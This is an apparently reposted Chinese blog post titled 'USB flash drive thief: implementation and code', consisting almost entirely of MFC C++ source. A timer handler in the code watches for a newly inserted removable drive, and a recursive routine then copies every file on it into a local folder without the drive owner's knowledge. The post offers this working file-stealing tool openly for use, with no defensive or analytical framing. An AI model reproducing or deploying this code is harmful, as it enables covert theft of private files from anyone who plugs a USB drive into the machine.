[转载]闪盘小偷的实现与代码

[转载]闪盘小偷的实现与代码

//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc=‘A‘;cc<=‘Z‘;cc++)
{
  strdir.Format("%c:",cc);
  if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
       return strdir;
    }
    return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{  
CFileFind tempFind;
    CString tempFileFind;
    tempFileFind.Format("%s//*.*",dir);
    BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
    while(IsFinded)
    {
      IsFinded=(BOOL)tempFind.FindNextFile();
      if(!tempFind.IsDots())
      {
         CString foundFileName;
         foundFileName=tempFind.GetFileName();
  
         if(tempFind.IsDirectory())
         {
            CString tempDir;
            tempDir.Format("%s//%s",dir,foundFileName);
            CopyFile(tempDir);
         }
         else
         {
            CString tempFileName1,tempFileName2;
            tempFileName1.Format("%s//%s",dir,foundFileName);
   tempFileName2.Format("%s//%s",m_Path,foundFileName);
            ::CopyFile(tempFileName1,tempFileName2,FALSE);
         }
      }
    }
    tempFind.Close();
}

void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
  m_NewFdisk=FindFdisk();

  if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
  {
   CopyFile(m_NewFdisk);
  }
        if(m_NewFdisk!="")
            m_OldFdisk=m_NewFdisk;
  else
            m_OldFdisk="NULL";
}

CDialog::OnTimer(nIDEvent);
}